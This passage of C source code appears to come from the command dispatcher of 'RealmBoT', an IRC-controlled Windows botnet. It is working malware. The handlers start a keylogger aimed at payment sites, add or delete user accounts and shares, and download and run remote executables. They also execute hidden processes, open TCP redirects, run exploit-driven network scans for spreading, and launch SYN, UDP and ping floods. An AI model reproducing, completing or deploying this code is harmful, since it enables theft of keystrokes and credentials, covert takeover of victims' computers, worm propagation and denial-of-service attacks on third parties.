  1496. if ((i=killthreadid(IDENT_THREAD)) > 0)
  1497. sprintf(sendbuf,"RealmBoT (ident.p.l.g) .»». Server stopped. (%d thread(s) stopped.)",i);
  1498. else
  1499. sprintf(sendbuf,"RealmBoT (ident.p.l.g) .»». No thread found.");
  1500. }
  1501. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1502. addlog(sendbuf);
  1503.  
  1504. return 1;
  1505. }
  1506. #endif
  1507.  
  1508. #ifndef NO_KEYLOG
  1509. else if (strcmp("keylog.on", a[s]) == 0 || strcmp("cmd.kl.on", a[s]) == 0) {
  1510. if (findthreadid(KEYLOG_THREAD) > 0)
  1511. sprintf(sendbuf ,"RealmBoT (keylog.p.l.g) .»». Already running.");
  1512. else if (a[s+1]) {
  1513. KEYLOG keylog;
  1514. keylog.sock = sock;
  1515. keylog.notice = notice;
  1516. keylog.silent = silent;
  1517. keylog.mode = false;
  1518.  
  1519. if(strcmp("pay", a[s+1]) == 0) {
  1520. keylog.mode = true;
  1521. _snprintf(keylog.chan, sizeof(keylog.chan), ((a[s+2])?(a[s+2]):((strcmp(keylogchan,"")==0)?(a[2]):(keylogchan))));
  1522. sprintf(sendbuf, "RealmBoT (keylog.p.l.g) .»». Pay sites key logger active.");
  1523. }
  1524. else if(strcmp("normal", a[s+1]) == 0) {
  1525. _snprintf(keylog.chan, sizeof(keylog.chan), ((a[s+2])?(a[s+2]):((strcmp(keylogchan,"")==0)?(a[2]):(keylogchan))));
  1526. sprintf(sendbuf, "RealmBoT (keylog.p.l.g) .»». Normal key logger active.");
  1527. }
  1528. else {
  1529. sprintf(sendbuf, "RealmBoT (keylog.p.l.g) .»». Unknow mode type.");
  1530. if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1531. addlog(sendbuf);
  1532. return 1;
  1533. }
  1534. keylog.threadnum = addthread(sendbuf, KEYLOG_THREAD, NULL);
  1535. if (threads[keylog.threadnum].tHandle = CreateThread(NULL, 0, &KeyLoggerThread, (LPVOID)&keylog, 0, &id)) {
  1536. while(keylog.gotinfo == FALSE)
  1537. Sleep(50);
  1538. } else
  1539. sprintf(sendbuf,"RealmBoT (keylog.p.l.g) .»». Failed to start logging thread, error: <%d>.", GetLastError());
  1540. }
  1541. else
  1542. sprintf(sendbuf, "RealmBoT (keylog.p.l.g) .»». Missing mode type.");
  1543. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1544. addlog(sendbuf);
  1545. return 1;
  1546. }
  1547. else if (strcmp("stop",a[s]) == 0 || strcmp("stop",a[s]) == 0) {
  1548. stopthread(sock,a[2],notice,silent,"RealmBoT (keylog.p.l.g) .»».","Keylog",KEYLOG_THREAD,a[s+1]);
  1549. return 1;
  1550. }
  1551.  
  1552. #endif
  1553. #ifndef NO_NET
  1554. else if (strcmp("net", a[s]) == 0) {
  1555. if((!noadvapi32) || (!nonetapi32)) {
  1556. if (x != NULL) {
  1557. char *y = NULL;
  1558. if (a[s+2]) // get the full service name if exists
  1559. y = strstr(x, a[s+2]);
  1560. if (strcmp("start", a[s+1]) == 0)
  1561. if (a[s+2])
  1562. sprintf(sendbuf, "%s", Services(NET_START, y));
  1563. else {
  1564. if (ListServices(sock, a[2], notice))
  1565. sprintf(sendbuf, "RealmBoT (net.p.l.g) .»». Service list completed.");
  1566. else
  1567. sprintf(sendbuf, "RealmBoT (net.p.l.g) .»». Service list failed.");
  1568. }
  1569. else if (strcmp("stop", a[s+1]) == 0)
  1570. sprintf(sendbuf, "%s", Services(NET_STOP, y));
  1571. else if (strcmp("pause", a[s+1]) == 0)
  1572. sprintf(sendbuf, "%s", Services(NET_PAUSE, y));
  1573. else if (strcmp("continue", a[s+1]) == 0)
  1574. sprintf(sendbuf, "%s", Services(NET_CONTINUE, y));
  1575. else if (strcmp("delete", a[s+1]) == 0)
  1576. sprintf(sendbuf, "%s", Services(NET_DELETE, y));
  1577. else if (strcmp("share", a[s+1]) == 0) {
  1578. if (a[s+2]) {
  1579. if (parameters['d'])
  1580. sprintf(sendbuf, "%s", Shares(NET_DELETE, a[s+2]));
  1581. else
  1582. sprintf(sendbuf, "%s", Shares(NET_ADD, a[s+2], a[s+3]));
  1583. } else {
  1584. if (ListShares(sock, a[2], notice))
  1585. sprintf(sendbuf, "RealmBoT (net.p.l.g) .»». Share list completed.");
  1586. else
  1587. sprintf(sendbuf, "RealmBoT (net.p.l.g) .»». Share list failed.");
  1588. }
  1589. }
  1590. else if (strcmp("user", a[s+1]) == 0) {
  1591. if (a[s+2]) {
  1592. if (parameters['d'])
  1593. sprintf(sendbuf, "%s", Users(NET_DELETE, a[s+2], NULL, sock, a[2], notice));
  1594. else {
  1595. if (a[s+3])
  1596. sprintf(sendbuf, "%s", Users(NET_ADD, a[s+2], a[s+3], sock, a[2], notice));
  1597. else
  1598. sprintf(sendbuf, "%s", Users(NET_INFO, a[s+2], NULL, sock, a[2], notice));
  1599. }
  1600. } else {
  1601. if (ListUsers(sock, a[2], notice))
  1602. sprintf(sendbuf, "RealmBoT (net.p.l.g) .»». User list completed.");
  1603. else
  1604. sprintf(sendbuf, "RealmBoT (net.p.l.g) .»». User list failed.");
  1605. }
  1606. }
  1607. else if (strcmp("send", a[s+1]) == 0) {
  1608. if (a[s+2])
  1609. sprintf(sendbuf, "%s", NetSend(y, sock, a[2], notice));
  1610. else
  1611. sprintf(sendbuf, "RealmBoT (net.p.l.g) .»». No message specified.");
  1612. }
  1613. else
  1614. sprintf(sendbuf,"RealmBoT (net.p.l.g) .»». Command unknown.");
  1615. }
  1616. } else
  1617. sprintf(sendbuf, "RealmBoT (net.p.l.g) .»». Failed to load advapi32.dll or netapi32.dll.");
  1618. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1619. addlog(sendbuf);
  1620.  
  1621. return repeat;
  1622. }
  1623. #endif
  1624.  
  1625. else if (strcmp("gethost", a[s]) == 0 || strcmp("irc.gh", a[s]) == 0) {
  1626. if(strstr(host, a[s+1])) {
  1627. if (a[s+2]) {
  1628. char *y = strstr(x, a[s+2]);
  1629. if (y != NULL) {
  1630. sprintf(sendbuf, "%s %s %s :%s", a[0], a[1], a[2], y);
  1631. strncpy(line, sendbuf, (IRCLINE-1));
  1632. sprintf(sendbuf,"RealmBoT (irc.p.l.g) .»». Gethost: %s, Command: %s", a[s+1],y);
  1633. repeat++;
  1634. } else
  1635. sprintf(sendbuf,"RealmBoT (irc.p.l.g) .»». Unable to extract Gethost command.");
  1636. } else {
  1637. irc_privmsg(sock, a[2], netinfo(sendbuf, host, sock), notice);
  1638. _snprintf(sendbuf,sizeof(sendbuf),"RealmBoT (irc.p.l.g) .»». Gethost: %s.",a[s+1]);
  1639. }
  1640. addlog(sendbuf);
  1641. }
  1642.  
  1643. return repeat;
  1644. }
  1645.  
  1646. // commands requiring at least 2 parameters
  1647. else if (a[s+2] == NULL) return 1;
  1648. else if (strcmp("addalias", a[s]) == 0 || strcmp("irc.aa", a[s]) == 0) {
  1649. if (x != NULL) {
  1650. char *y = strstr(x, a[s+2]);
  1651. if (y != NULL) {
  1652. addalias(a[s+1], y);
  1653. sprintf(sendbuf,"RealmBoT (irc.p.l.g) .»». Alias added: %s.", a[s+1]);
  1654. if(!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1655. addlog(sendbuf);
  1656. }
  1657. }
  1658.  
  1659. return 1;
  1660. }
  1661. else if (strcmp("privmsg", a[s]) == 0 || strcmp("irc.pm", a[s]) == 0) {
  1662. if (x != NULL) {
  1663. x = x + strlen(a[s]) + strlen(a[s+1]) + 2;
  1664. char *y = strstr(x, a[s+2]);
  1665. if (y != NULL) {
  1666. irc_privmsg(sock, a[s+1], y, FALSE);
  1667. addlogv("RealmBoT (irc.p.l.g) .»». Privmsg: %s: %s.",a[s+1], y);
  1668. }
  1669. }
  1670.  
  1671. return repeat;
  1672. }
  1673. else if (strcmp("action", a[s]) == 0 || strcmp("irc.ac", a[s]) == 0) {
  1674. if (x != NULL) {
  1675. x = x + strlen(a[s]) + strlen(a[s+1]) + 2;
  1676. char *y = strstr(x, a[s+2]);
  1677. if (y != NULL) {
  1678. sprintf(sendbuf, "\1ACTION %s\1", y);
  1679. irc_privmsg(sock, a[s+1], sendbuf, FALSE);
  1680. addlogv("RealmBoT (irc.p.l.g) .»». Action: %s: %s.",a[s+1], y);
  1681. }
  1682. }
  1683.  
  1684. return repeat;
  1685. }
  1686. else if (strcmp("cycle", a[s]) == 0 || strcmp("irc.cy", a[s]) == 0) {
  1687. if (strcmp("332", a[1]) == 0)
  1688. return 1;
  1689. irc_sendv(sock, "PART %s\r\n", a[s+2]);
  1690. Sleep(atoi(a[s+1])*1000);
  1691. irc_sendv(sock, "JOIN %s %s\r\n", a[s+2], a[s+3]);
  1692. addlog("RealmBoT (irc.p.l.g) .»». Cycle.");
  1693.  
  1694. return repeat;
  1695. }
  1696. else if (strcmp("mode", a[s]) == 0 || strcmp("irc.m", a[s]) == 0) {
  1697. if (x != NULL) {
  1698. char *y = strstr(x, a[s+1]);
  1699. if (y != NULL) {
  1700. irc_sendv(sock, "MODE %s\r\n", y);
  1701. addlogv("RealmBoT (irc.p.l.g) .»». Mode change: %s",y);
  1702. }
  1703. }
  1704.  
  1705. return repeat;
  1706. }
  1707. else if (strcmp("rawclone", a[s]) == 0 || strcmp("clone.ra", a[s]) == 0) {
  1708. if (x != NULL) {
  1709. char *y = strstr(x, a[s+2]);
  1710. if (y != NULL && atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS) {
  1711. irc_sendv(threads[atoi(a[s+1])].sock, "%s\r\n", y);
  1712. addlogv("RealmBoT (clones.p.l.g) .»». Raw (%s): %s", a[s+1], y);
  1713. }
  1714.  
  1715. }
  1716.  
  1717. return repeat;
  1718. }
  1719. else if (strcmp("clone.mode", a[s]) == 0 || strcmp("clone.m", a[s]) == 0) {
  1720. if (x != NULL) {
  1721. char *y = strstr(x, a[s+2]);
  1722. if (y != NULL)
  1723. sprintf(sendbuf, "MODE %s", y);
  1724. if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS) {
  1725. irc_sendv(threads[atoi(a[s+1])].sock, "%s\r\n", sendbuf);
  1726. addlogv("RealmBoT (clones.p.l.g) .»». Mode (%s): %s", a[s+1], y);
  1727. }
  1728. }
  1729.  
  1730. return repeat;
  1731. }
  1732. else if (strcmp("clone.nick", a[s]) == 0 || strcmp("clone.ni", a[s]) == 0) {
  1733. sprintf(sendbuf, "NICK %s", a[s+2]);
  1734. if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS) {
  1735. irc_sendv(threads[atoi(a[s+1])].sock, "%s\r\n", sendbuf);
  1736. addlogv("RealmBoT (clones.p.l.g) .»». Nick (%s): %s", a[s+1], a[s+2]);
  1737. }
  1738.  
  1739. return repeat;
  1740. }
  1741. else if (strcmp("clone.join", a[s]) == 0 || strcmp("clone.j", a[s]) == 0) {
  1742. sprintf(sendbuf, "JOIN %s %s", a[s+2], a[s+3]);
  1743. if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS)
  1744. irc_sendv(threads[atoi(a[s+1])].sock, "%s\r\n", sendbuf);
  1745.  
  1746. return repeat;
  1747. }
  1748. else if (strcmp("clone.part", a[s]) == 0 || strcmp("clone.p", a[s]) == 0) {
  1749. sprintf(sendbuf, "PART %s", a[s+2]);
  1750. if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS)
  1751. irc_sendv(threads[atoi(a[s+1])].sock, "%s\r\n", sendbuf);
  1752.  
  1753. return repeat;
  1754. }
  1755. else if (strcmp("irc.repeat", a[s]) == 0 || strcmp("irc.rp", a[s]) == 0) {
  1756. if (strcmp("332", a[1]) == 0) return 1;
  1757. if (x != NULL) {
  1758. char *r = strstr(x, a[s+2]);
  1759. if (strcmp(a[s+2]+1,"repeat") != 0) {
  1760. sprintf(sendbuf, "%s %s %s :%s", a[0], a[1], a[2], r);
  1761. strncpy(line, sendbuf, (IRCLINE-1));
  1762. sprintf(sendbuf,"RealmBoT (irc.p.l.g) .»». Repeat: %s", r);
  1763. addlog(sendbuf);
  1764.  
  1765. if (atoi(a[s+1]) > 0)
  1766. return repeat + atoi(a[s+1]);
  1767. else
  1768. return repeat;
  1769. } else {
  1770. sprintf(sendbuf,"RealmBoT (irc.p.l.g) .»». Repeat not allowed in command line: %s", r);
  1771. if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1772. addlog(sendbuf);
  1773. }
  1774. }
  1775.  
  1776. return repeat;
  1777. }
  1778. else if (strcmp("delay", a[s]) == 0 || strcmp("irc.de", a[s]) == 0) {
  1779. if (strcmp("332", a[1]) == 0) return 1;
  1780. if (x != NULL) {
  1781. char *r = strstr(x, a[s+2]);
  1782. sprintf(sendbuf, "%s %s %s :%s", a[0], a[1], a[2], r);
  1783. strncpy(line, sendbuf, 511);
  1784. if (atoi(a[s+1]) > 0)
  1785. Sleep(atoi(a[s+1])*1000);
  1786. addlog("RealmBoT (irc.p.l.g) .»». Delay.");
  1787. return repeat + 1;
  1788. }
  1789.  
  1790. return 1;
  1791. }
  1792.  
  1793. #ifndef NO_DOWNLOAD
  1794. else if ((strcmp("update", a[s]) == 0) || (strcmp("", a[s]) == 0)) {
  1795. if (strcmp(botid, a[s+2]) != 0) {
  1796. char tempdir[MAX_PATH], tmpbuf[MAXNICKLEN];
  1797. GetTempPath(sizeof(tempdir), tempdir);
  1798.  
  1799. DOWNLOAD dl;
  1800. strncpy(dl.url, a[s+1], sizeof(dl.url)-1);
  1801. sprintf(dl.dest, "%s%s.exe", tempdir, rndnickletter(tmpbuf));
  1802. dl.update = 1;
  1803. dl.run = 0;
  1804. dl.expectedcrc=((a[s+3])?(strtoul(a[s+3],0,16)):(0));
  1805. dl.filelen=((a[s+4])?(atoi(a[s+4])):(0));
  1806. dl.encrypted=(parameters['e']);
  1807.  
  1808. dl.sock = sock;
  1809. strncpy(dl.chan, a[2], sizeof(dl.chan)-1);
  1810. dl.notice=notice;
  1811. dl.silent = silent;
  1812.  
  1813. sprintf(sendbuf, "[REALMBOT] << Downloading update from: %s >>", a[s+1]);
  1814. dl.threadnum = addthread(sendbuf, UPDATE_THREAD, sock);
  1815. if (threads[dl.threadnum].tHandle = CreateThread(NULL, 0, &DownloadThread, (LPVOID)&dl, 0, &id)) {
  1816. while(dl.gotinfo == FALSE)
  1817. Sleep(50);
  1818. } else
  1819. sprintf(sendbuf,"[REALMBOT] << Failed to start download thread, error: <%d> >>", GetLastError());
  1820. } else
  1821. sprintf(sendbuf,"[REALMBOT] : Bot ID must be different than current running process.");
  1822.  
  1823. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1824. addlog(sendbuf);
  1825.  
  1826. return repeat;
  1827. }
  1828. #endif
  1829.  
  1830. else if (strcmp("execute", a[s]) == 0 || strcmp("com.e", a[s]) == 0) {
  1831. PROCESS_INFORMATION pinfo;
  1832. STARTUPINFO sinfo;
  1833. memset(&sinfo, 0, sizeof(STARTUPINFO));
  1834. sinfo.cb = sizeof(sinfo);
  1835. sinfo.dwFlags = STARTF_USESHOWWINDOW;
  1836. sinfo.wShowWindow=SW_HIDE;
  1837. if (atoi(a[s+1]) == 1) sinfo.wShowWindow=SW_SHOW;
  1838. if (x != NULL) {
  1839. char *y = strstr(x, a[s+2]);
  1840. if (y != NULL)
  1841. if (!CreateProcess(NULL, y, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo))
  1842. sprintf(sendbuf,"RealmBoT (exec.p.l.g) .»». Couldn't execute file.");
  1843. else
  1844. sprintf(sendbuf,"RealmBoT (exec.p.l.g) .»». Commands: %s",y);
  1845. }
  1846. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1847. addlog(sendbuf);
  1848.  
  1849. return repeat;
  1850. }
  1851.  
  1852. else if (strcmp("rename", a[s]) == 0 || strcmp("com.mv", a[s]) == 0) {
  1853. if (MoveFile(a[s+1],a[s+2]))
  1854. _snprintf(sendbuf,sizeof(sendbuf),"RealmBoT(file.p.l.g) .»». Rename: '%s' to: '%s'.", a[s+1], a[s+2]);
  1855. else
  1856. _snprintf(sendbuf,sizeof(sendbuf),PrintError("RealmBoT (file.p.l.g) .»». "));
  1857.  
  1858. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1859. addlog(sendbuf);
  1860.  
  1861. return 1;
  1862. }
  1863.  
  1864. // commands requiring at least 3 parameters
  1865. else if (a[s+3] == NULL) return 1;
  1866. else if (strcmp("clone.make", a[s]) == 0 || strcmp("clone.start", a[s]) == 0) {
  1867. IRC irc;
  1868. strncpy(irc.host, a[s+1], sizeof(irc.host)-1);
  1869. irc.port = atoi(a[s+2]);
  1870. strncpy(irc.channel, a[s+3], sizeof(irc.channel)-1);
  1871. if (a[s+4])
  1872. strncpy(irc.chanpass, a[s+4], sizeof(irc.chanpass)-1);
  1873. irc.spy = 1;
  1874.  
  1875. sprintf(sendbuf, "[REALMBOT] << Created clones on %s:%d, in channel %s >>", irc.host, irc.port, irc.channel);
  1876. irc.threadnum = addthread(sendbuf, CLONE_THREAD, NULL);
  1877. if (threads[irc.threadnum].tHandle = CreateThread(NULL, 0, &irc_connect, (LPVOID)&irc, 0, &id)) {
  1878. while(irc.gotinfo == FALSE)
  1879. Sleep(50);
  1880. } else
  1881. sprintf(sendbuf,"[REALMBOT] << Failed to start clone thread, error: <%d> >>", GetLastError());
  1882.  
  1883. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1884. addlog(sendbuf);
  1885.  
  1886. return repeat;
  1887. }
  1888. #ifndef NO_DDOS
  1889. else if (strcmp("synflood", a[s]) == 0 || strcmp("ddos.ack", a[s]) == 0 || strcmp("ddos.random", a[s]) == 0) {
  1890. DDOS ddos;
  1891. strncpy(ddos.ip, a[s+1], sizeof(ddos.ip)-1);
  1892. strncpy(ddos.port, a[s+2], sizeof(ddos.port)-1);
  1893. strncpy(ddos.length, a[s+3], sizeof(ddos.length)-1);
  1894. strncpy(ddos.chan, a[2], sizeof(ddos.chan)-1);
  1895. strncpy(ddos.type,a[s],32);
  1896. ddos.notice = notice;
  1897. ddos.silent = silent;
  1898. ddos.sock = sock;
  1899.  
  1900. sprintf(sendbuf, "[REALMBOT-SYN] << Attacking: (%s:%s) for %s seconds >>", a[s+1], a[s+2], a[s+3]);
  1901. ddos.threadnum = addthread(sendbuf,DDOS_THREAD,NULL);
  1902. if (threads[ddos.threadnum].tHandle = CreateThread(NULL, 0, &DDOSThread, (LPVOID)&ddos, 0, &id)) {
  1903. while(ddos.gotinfo == FALSE)
  1904. Sleep(50);
  1905. } else
  1906. sprintf(sendbuf,"RealmBoT (ddos.p.l.g) .»». Failed to start flood thread, error: <%d>.", GetLastError());
  1907.  
  1908. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1909. addlog(sendbuf);
  1910.  
  1911. return 1;
  1912. }
  1913. #endif
  1914.  
  1915.  
  1916. #ifndef NO_DOWNLOAD
  1917. else if (strcmp("download", a[s]) == 0 || strcmp("dl", a[s]) == 0) {
  1918. DOWNLOAD dl;
  1919. strncpy(dl.url, a[s+1], sizeof(dl.url)-1);
  1920. strncpy(dl.dest, a[s+2], sizeof(dl.dest)-1);
  1921. dl.update = 0;
  1922. dl.run = ((a[s+3])?(atoi(a[s+3])):(0));
  1923. dl.expectedcrc=((a[s+4])?(strtoul(a[s+4],0,16)):(0));
  1924. dl.filelen=((a[s+5])?(atoi(a[s+5])):(0));
  1925. dl.encrypted=(parameters['e']);
  1926.  
  1927. dl.sock = sock;
  1928. strncpy(dl.chan, a[2], sizeof(dl.chan)-1);
  1929. dl.notice=notice;
  1930. dl.silent = silent;
  1931.  
  1932. sprintf(sendbuf, "[REALMBOT] << Downloading URL: %s to: %s >>", a[s+1], a[s+2]);
  1933. dl.threadnum = addthread(sendbuf, DOWNLOAD_THREAD, sock);
  1934. if (threads[dl.threadnum].tHandle = CreateThread(NULL, 0, &DownloadThread, (LPVOID)&dl, 0, &id)) {
  1935. while(dl.gotinfo == FALSE)
  1936. Sleep(50);
  1937. } else
  1938. sprintf(sendbuf,"RealmBoT (download.p.l.g) .»». Failed to start transfer thread, error: <%d>.", GetLastError());
  1939.  
  1940. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1941. addlog(sendbuf);
  1942.  
  1943. return 1;
  1944. }
  1945. #endif
  1946. #ifndef NO_REDIRECT
  1947. else if (strcmp("redirect", a[s]) == 0 || strcmp("daemon.rd", a[s]) == 0) {
  1948. REDIRECT redirect;
  1949. redirect.lport = atoi(a[s+1]);
  1950. strncpy(redirect.dest, a[s+2], sizeof(redirect.dest)-1);
  1951. redirect.port = atoi(a[s+3]);
  1952. redirect.sock = sock;
  1953. _snprintf(redirect.chan,sizeof(redirect.chan),a[2]);
  1954. redirect.notice = notice;
  1955. redirect.silent = silent;
  1956.  
  1957. sprintf(sendbuf, "RealmBoT (redirect.p.l.g) .»». TCP redirect created from: %s:%d to: %s:%d.", GetIP(sock), redirect.lport, redirect.dest, redirect.port);
  1958. redirect.threadnum = addthread(sendbuf,REDIRECT_THREAD,NULL);
  1959. if (threads[redirect.threadnum].tHandle = CreateThread(NULL, 0, &RedirectThread, (LPVOID)&redirect, 0, &id)) {
  1960. while(redirect.gotinfo == FALSE)
  1961. Sleep(50);
  1962. } else
  1963. sprintf(sendbuf,"RealmBoT (redirect.p.l.g) .»». Failed to start redirection thread, error: <%d>.", GetLastError());
  1964.  
  1965. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1966. addlog(sendbuf);
  1967.  
  1968. return 1;
  1969. }
  1970. #endif
  1971.  
  1972. else if (strcmp("clone.privmsg", a[s]) == 0 || strcmp("clone.pm", a[s]) == 0) {
  1973. if (threads[atoi(a[s+1])].nick[0] != '\0' && x != NULL) {
  1974. x = x + strlen(a[s]) + strlen(a[s+1]) + strlen(a[s+2]) + 2;
  1975. char *y = strstr(x, a[s+3]);
  1976. if (y != NULL && atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS) {
  1977. irc_privmsg(threads[atoi(a[s+1])].sock, a[s+2], y, FALSE);
  1978. if (threads[atoi(a[s+1])].name[0] == 's') {
  1979. sprintf(sendbuf, "[%s] <%s> %s", a[s+2], threads[atoi(a[s+1])].nick, y);
  1980. irc_privmsg(sock, a[2], sendbuf, notice);
  1981. }
  1982. }
  1983. }
  1984.  
  1985. return repeat;
  1986. }
  1987. else if (strcmp("clone.action", a[s]) == 0 || strcmp("clone.ac", a[s]) == 0) {
  1988. if (threads[atoi(a[s+1])].nick[0] != '\0' && x != NULL) {
  1989. x = x + strlen(a[s]) + strlen(a[s+1]) + strlen(a[s+2]) + 2;
  1990. char *y = strstr(x, a[s+3]);
  1991. sprintf(sendbuf, "\1ACTION %s\1", y);
  1992. if (y != NULL && atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS) {
  1993. irc_privmsg(threads[atoi(a[s+1])].sock, a[s+2], sendbuf, FALSE);
  1994. if (threads[atoi(a[s+1])].name[0] == 's') {
  1995. sprintf(sendbuf, "[%s] * %s %s", a[s+2], threads[atoi(a[s+1])].nick, y);
  1996. irc_privmsg(sock, a[2], sendbuf, notice);
  1997. }
  1998. }
  1999. }
  2000.  
  2001. return repeat;
  2002. }
  2003.  
  2004. // commands requiring at least 4 parameters
  2005. else if (a[s+4] == NULL) return 1;
  2006. #ifndef NO_ADVSCAN
  2007. else if (strcmp("advscan", a[s]) == 0 || strcmp("asc", a[s]) == 0) {
  2008. int scanthreads=findthreadid(SCAN_THREAD);
  2009. if (scanthreads + atoi(a[s+2]) > MAXSCANTHRD) {
  2010. sprintf(sendbuf ,"[REALMBOT] << Already %d scanning threads. Too many specified >>", scanthreads);
  2011. irc_privmsg(sock,a[2],sendbuf,notice);
  2012. } else {
  2013. ADVSCAN advscan;
  2014. advscan.port = atoi(a[s+1]); // check for method or port number
  2015. advscan.threads = atoi(a[s+2]);
  2016. advscan.delay = atoi(a[s+3]);
  2017. advscan.delay = ((advscan.delay < 5)?(5):(advscan.delay));
  2018. advscan.delay = ((advscan.delay > 60)?(60):(advscan.delay));
  2019. advscan.minutes = atoi(a[s+4]);
  2020. advscan.minutes = ((advscan.minutes > MAXSCANTIME)?(MAXSCANTIME):(advscan.minutes));
  2021. advscan.exploit = -1;
  2022.  
  2023. for(i=0;exploit[i].port != 0;i++) {
  2024. if (strcmp(exploit[i].command, a[s+1]) == 0) {
  2025. advscan.port = exploit[i].port;
  2026. advscan.exploit = i;
  2027.  
  2028. break;
  2029. }
  2030. }
  2031.  
  2032. if (advscan.port == 0) {
  2033. sprintf(sendbuf, "[REALMBOT] : Failed to start scan, port is invalid.");
  2034. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2035. addlog(sendbuf);
  2036.  
  2037. return 1;
  2038. }
  2039.  
  2040. if (a[s+5] && a[s+5][0] != '#') {
  2041. _snprintf(advscan.ip,sizeof(advscan.ip),a[s+5]);
  2042. advscan.random = ((strchr(a[s+5],'x'))?(TRUE):(FALSE));
  2043. } else {
  2044. if (parameters['a'] || parameters['b'] || parameters['r']) {
  2045. SOCKADDR_IN ssin;
  2046. int ssin_len=sizeof(ssin);
  2047. fgetsockname(sock,(LPSOCKADDR)&ssin,&ssin_len);
  2048. ssin.sin_addr.S_un.S_addr&=(parameters['a']) ? 0xFF : 0xFFFF;
  2049. strncpy(advscan.ip,finet_ntoa(ssin.sin_addr), sizeof(advscan.ip));
  2050.  
  2051. if (parameters['r']) {
  2052. int extractip = ((parameters['a']) ? 3 : 2);
  2053. for (char *c=strrchr(advscan.ip,'0'),i=0;i<extractip && c;c[0]='x',c=strrchr(advscan.ip,'0'),i++);
  2054.  
  2055. advscan.random = TRUE;
  2056. } else
  2057. advscan.random = FALSE;
  2058. } else {
  2059. sprintf(sendbuf, "[REALMOT] Failed to start scan, no IP specified.");
  2060. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2061. addlog(sendbuf);
  2062.  
  2063. return 1;
  2064. }
  2065. }
  2066.  
  2067. advscan.sock = sock;
  2068. advscan.notice = notice;
  2069. advscan.silent = silent;
  2070. _snprintf(advscan.chan,sizeof(advscan.chan),a[2]);
  2071. if (a[s+6])
  2072. _snprintf(advscan.msgchan,sizeof(advscan.msgchan),a[s+6]);
  2073. else if (a[s+5] && a[s+5][0] == '#')
  2074. _snprintf(advscan.msgchan,sizeof(advscan.msgchan),a[s+5]);
  2075. else if (strcmp(exploitchan,"") != 0)
  2076. _snprintf(advscan.msgchan,sizeof(advscan.msgchan),exploitchan);
  2077. else
  2078. advscan.msgchan[0] = '\0';
  2079.  
  2080. sprintf(sendbuf, "[REALMBOT] %s Exploitation started on %s:%d waiting %d seconds for %d minutes using %d threads.",
  2081. ((advscan.random)?("Random"):("Sequential")), advscan.ip, advscan.port, advscan.delay, advscan.minutes, advscan.threads);
  2082. advscan.threadnum = addthread(sendbuf,SCAN_THREAD,NULL);
  2083. if (threads[advscan.threadnum].tHandle = CreateThread(NULL, 0, &AdvScanner, (LPVOID)&advscan, 0, &id)) {
  2084. while(advscan.gotinfo == FALSE)
  2085. Sleep(50);
  2086. } else
  2087. sprintf(sendbuf,"[REALMBOT] Failed to start scan thread, error: <%d>.", GetLastError());
  2088.  
  2089. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2090. addlog(sendbuf);
  2091.  
  2092. return 1;
  2093. }
  2094. }
  2095. #endif
  2096.  
  2097. #ifndef NO_UDP
  2098. else if (strcmp("udpflood", a[s]) == 0 || strcmp("ddos.udpf", a[s]) == 0 || strcmp("u", a[s]) == 0) {
  2099. PINGFLOOD udps;
  2100. udps.silent = silent;
  2101. udps.notice = notice;
  2102. strncpy(udps.host, a[s+1], sizeof(udps.host)-1);
  2103. udps.num = atoi(a[s+2]);
  2104. udps.size = atoi(a[s+3]);
  2105. udps.delay = atoi(a[s+4]);
  2106. if (a[s+5] != NULL)
  2107. udps.port = atoi(a[s+5]);
  2108. else
  2109. udps.port = 0;
  2110. strncpy(udps.chan, a[2], sizeof(udps.chan)-1);
  2111. udps.sock = sock;
  2112.  
  2113. sprintf(sendbuf, "[REALMBOT-UDPFLOOD] << Sending %d packets to: %s. Packet size: %d, Delay: %d(ms) >>", udps.num, udps.host, udps.size, udps.delay);
  2114. udps.threadnum = addthread(sendbuf,UDP_THREAD,NULL);
  2115. if (threads[udps.threadnum].tHandle = CreateThread(NULL, 0, &udp, (LPVOID)&udps, 0, &id)) {
  2116. while(udps.gotinfo == FALSE)
  2117. Sleep(50);
  2118. } else
  2119. sprintf(sendbuf,"[REALMBOT] << Failed to start flood thread, error: <%d> >>", GetLastError());
  2120.  
  2121. if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2122. addlog(sendbuf);
  2123.  
  2124. return 1;
  2125. }
  2126. #endif
  2127. #ifndef NO_PING
  2128. else if (strcmp("pingflood", a[s]) == 0 || strcmp("ddos.pingf", a[s]) == 0 || strcmp("p", a[s]) == 0) {
  2129. if (!noicmp) {
  2130. PINGFLOOD pings;
  2131. pings.silent = silent;
  2132. pings.notice = notice;
  2133. strncpy(pings.host, a[s+1], sizeof(pings.host)-1);
  2134. pings.num = atoi(a[s+2]);
  2135. pings.size = atoi(a[s+3]);
  2136. pings.delay = atoi(a[s+4]);
  2137. strncpy(pings.chan, a[2], sizeof(pings.chan)-1);
  2138. pings.sock = sock;
  2139.  
  2140. sprintf(sendbuf, "[REALMBOT-PING] : Sending %d pings to %s. packet size: %d, timeout: %d(ms).", pings.num, pings.host, pings.size, pings.delay);
